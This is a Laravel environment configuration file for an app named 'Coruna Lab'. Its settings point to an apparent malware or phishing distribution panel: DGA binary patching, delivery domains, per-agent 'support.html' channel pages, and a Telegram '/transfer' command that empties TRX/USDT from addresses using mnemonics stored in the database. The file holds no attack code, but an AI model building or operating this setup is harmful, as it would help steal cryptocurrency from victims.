APP_NAME="Coruna Lab" APP_ENV=local APP_KEY= APP_DEBUG=true APP_URL=http://127.0.0.1:8000 APP_LOCALE=en APP_FALLBACK_LOCALE=en APP_FAKER_LOCALE=en_US APP_MAINTENANCE_DRIVER=file BCRYPT_ROUNDS=12 LOG_CHANNEL=stack LOG_STACK=single LOG_DEPRECATIONS_CHANNEL=null LOG_LEVEL=debug # Preferred: MySQL 8.0 DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=coruna DB_USERNAME=root DB_PASSWORD= # Fallback for smoke tests when MySQL creds unavailable: # DB_CONNECTION=sqlite # DB_DATABASE=database/database.sqlite SESSION_DRIVER=file SESSION_LIFETIME=120 SESSION_ENCRYPT=false SESSION_PATH=/ SESSION_DOMAIN=null BROADCAST_CONNECTION=log FILESYSTEM_DISK=local QUEUE_CONNECTION=sync CACHE_STORE=file # Admin seeder defaults ADMIN_USERNAME=admin ADMIN_PASSWORD=admin123 # Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0. CORUNA_SESSION_KEY= # Optional link-display hosts (not used by DGA binary patch). # Overridable by 系统设置 → 投放域名. CORUNA_LAB_CHANNEL_DOMAINS= CORUNA_REPORTING_DOMAINS= # In-process channel-builder (Python). # Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/) # Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder) CORUNA_CHANNEL_BUILDER_PYTHON= CORUNA_ARTIFACT_ROOT= CORUNA_CHANNEL_STATE_ROOT= CORUNA_CHANNEL_BUILDER_TIMEOUT=600 # Optional complete origin/base path prepended before /web/{id}/support.html # Same-host: leave empty or set to APP_URL CORUNA_STATIC_SITE_BASE_URL= CORUNA_STATIC_SITE_SCHEME=https # Max channel links per agent (super-admin settings can override) CORUNA_MAX_CHANNELS_PER_AGENT=5 # p7zip binary. On panel hosts with open_basedir, prefer project-local: # mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z # CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z # Or set the system path (exec usually works; do not rely on is_executable): # CORUNA_7Z_BIN=/usr/bin/7z CORUNA_7Z_BIN= # Telegram (outbound alerts + inbound Nutgram commands) TELEGRAM_BOT_TOKEN= TELEGRAM_OWNER_CHAT_ID= # Optional; if set, register via: php artisan telegram:set-webhook TELEGRAM_WEBHOOK_SECRET= # Do not enable unless you understand Nutgram's md5(APP_KEY) secret check # NUTGRAM_SAFE_MODE=false # /transfer: recipient (fromAddress is the command arg; mnemonic from DB) # Usage: /transfer [TRX|USDT] [amount] — omit amount = all TRANSFER_TO_ADDRESS= # TRANSFER_MAX_USDT=0 # TRANSFER_MAX_TRX=0 # TRANSFER_MAX_DERIVE_INDEX=20 # TRANSFER_TRX_FEE_RESERVE=1 TRON_FULL_NODE=https://api.trongrid.io TRON_API_KEY= TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t # Tokenview address tracking (monitor=1 addresses) TOKENVIEW_API_KEY= TOKENVIEW_SIGN_KEY= # TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi # Reserved payout addresses PAYOUT_ETH= PAYOUT_BTC= PAYOUT_TRON= PAYOUT_SOL=